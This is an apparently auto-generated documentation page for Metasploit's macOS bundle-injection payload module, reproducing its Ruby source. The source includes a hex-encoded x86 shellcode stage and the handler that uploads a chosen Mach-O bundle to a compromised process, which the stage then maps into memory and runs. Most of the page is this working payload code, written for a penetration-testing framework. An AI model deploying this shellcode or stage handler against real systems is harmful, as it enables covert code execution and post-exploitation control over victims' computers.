Module: Msf::Payload::Osx::BundleInject

Defined in:
lib/msf/core/payload/osx/bundle_inject.rb

Overview

BundleInject common module stub that is meant to be included in payloads that make use of Mach-O bundle injection.

Instance Method Summary collapse

Instance Method Details

#handle_connection_stage(conn, opts = {}) ⇒ Object

Transmits the DLL injection payload and its associated DLL to the remote computer so that it can be loaded into memory.



71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
# File 'lib/msf/core/payload/osx/bundle_inject.rb', line 71

def handle_connection_stage(conn, opts={})
  data = ""

  begin
    File.open(datastore['BUNDLE'], "rb") { |f|
      data += f.read
    }
  rescue
    print_error("Failed to load bundle: #{$!}.")

    # TODO: exception
    conn.close
    return
  end

  print_status("Uploading bundle (#{data.length} bytes)...")

  # Send the size of the thing we're transferring
  conn.put([ data.length ].pack('V'))
  # Send the image
  conn.put(data)

  print_status("Upload completed.")

  # Call the parent so the session gets created.
  super
end

#initialize(info = {}) ⇒ Object



13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# File 'lib/msf/core/payload/osx/bundle_inject.rb', line 13

def initialize(info = {})
  super(update_info(info,
    'Name'          => 'Mac OS X Inject Mach-O Bundle',
    'Description'   => 'Inject a custom Mach-O bundle into the exploited process',
    'Author'        =>
      [
        'ddz',
      ],
    'License'       => MSF_LICENSE,
    'Platform'      => 'osx',
    'Arch'          => ARCH_X86,
    'PayloadCompat' =>
      {
        'Convention' => 'sockedi'
      },
    'Stage'         =>
      {
        'Payload' =>
          "\xe9\xc1\x00\x00\x00\x8b\x44\x24\x04\x50\x68\x00\x00\xe0\x8f\xe8"+
          "\x03\x00\x00\x00\xc2\x04\x00\x55\x89\xe5\x83\xec\x0c\x53\x56\x57"+
          "\x8b\x5d\x08\x8b\x43\x10\x89\x45\xfc\x80\xc3\x1c\x31\xc0\x39\x45"+
          "\xfc\x0f\x84\x88\x00\x00\x00\x40\x39\x03\x74\x10\x40\x39\x03\x74"+
          "\x41\xff\x4d\xfc\x03\x5b\x04\xe9\xe0\xff\xff\xff\x81\x7b\x0a\x54"+
          "\x45\x58\x54\x74\x0e\x81\x7b\x0a\x4c\x49\x4e\x4b\x74\x10\xe9\xde"+
          "\xff\xff\xff\x8b\x43\x18\x89\x45\xf8\xe9\xd3\xff\xff\xff\x8b\x43"+
          "\x18\x2b\x45\xf8\x03\x45\x08\x2b\x43\x20\x89\x45\xf4\xe9\xbf\xff"+
          "\xff\xff\x8b\x4b\x0c\x31\xc0\x39\xc1\x74\x34\x49\x6b\xd1\x0c\x03"+
          "\x53\x08\x03\x55\xf4\x8b\x32\x03\x73\x10\x03\x75\xf4\x31\xff\xfc"+
          "\x31\xc0\xac\x38\xe0\x74\x0a\xc1\xcf\x0d\x01\xc7\xe9\xef\xff\xff"+
          "\xff\x3b\x7d\x0c\x75\xcf\x8b\x42\x08\x2b\x45\xf8\x03\x45\x08\x5f"+
          "\x5e\x5b\xc9\xc2\x08\x00\x55\x89\xe5\x83\xec\x0c\x89\xfe\x31\xc0"+
          "\xb0\x04\x50\x8d\x7d\xfc\x57\x56\x50\x48\xcd\x80\x72\x12\x39\xc8"+
          "\x74\x0e\x8b\x4d\xfc\x31\xc0\x39\xc1\x74\x05\xe9\x05\x00\x00\x00"+
          "\xe9\xa8\x00\x00\x00\x31\xc0\x50\x68\xff\xff\xff\xff\x68\x02\x10"+
          "\x00\x00\x68\x03\x00\x00\x00\x51\x50\x50\xb0\xc5\xcd\x80\x0f\x82"+
          "\x89\x00\x00\x00\x89\xc7\x89\x7d\xf8\x31\xc0\x51\x57\x56\x50\xb0"+
          "\x03\xcd\x80\x72\x78\x01\xc7\x29\xc1\x75\xee\x8b\x7d\xf8\x83\xec"+
          "\x10\x81\xe4\xf0\xff\xff\xff\x6a\x00\x8d\x45\xf8\x50\xff\x75\x0c"+
          "\x57\x68\x81\x2a\x6b\x74\xe8\xba\xfe\xff\xff\xff\xd0\x3c\x01\x75"+
          "\x4c\x31\xc0\x50\xb0\x05\x50\x54\xff\x75\xf8\x68\x91\x81\xb1\x76"+
          "\xe8\xa0\xfe\xff\xff\xff\xd0\x89\xc3\x31\xc0\x50\x68\x5f\x72\x75"+
          "\x6e\x89\xe0\x50\x53\x68\x9d\xf3\xd0\x4f\xe8\x86\xfe\xff\xff\xff"+
          "\xd0\x81\xec\x0c\x00\x00\x00\x50\x68\x52\x58\x4e\xa5\xe8\x73\xfe"+
          "\xff\xff\xff\xd0\x81\xec\x0c\x00\x00\x00\x56\xff\xd0\x31\xc0\x50"+
          "\x50\xb0\x01\xcd\x80"
      }
    ))

  register_options(
    [
      OptPath.new('BUNDLE', [ true, "The local path to the Mach-O bundle to upload" ]),
    ], self.class)
end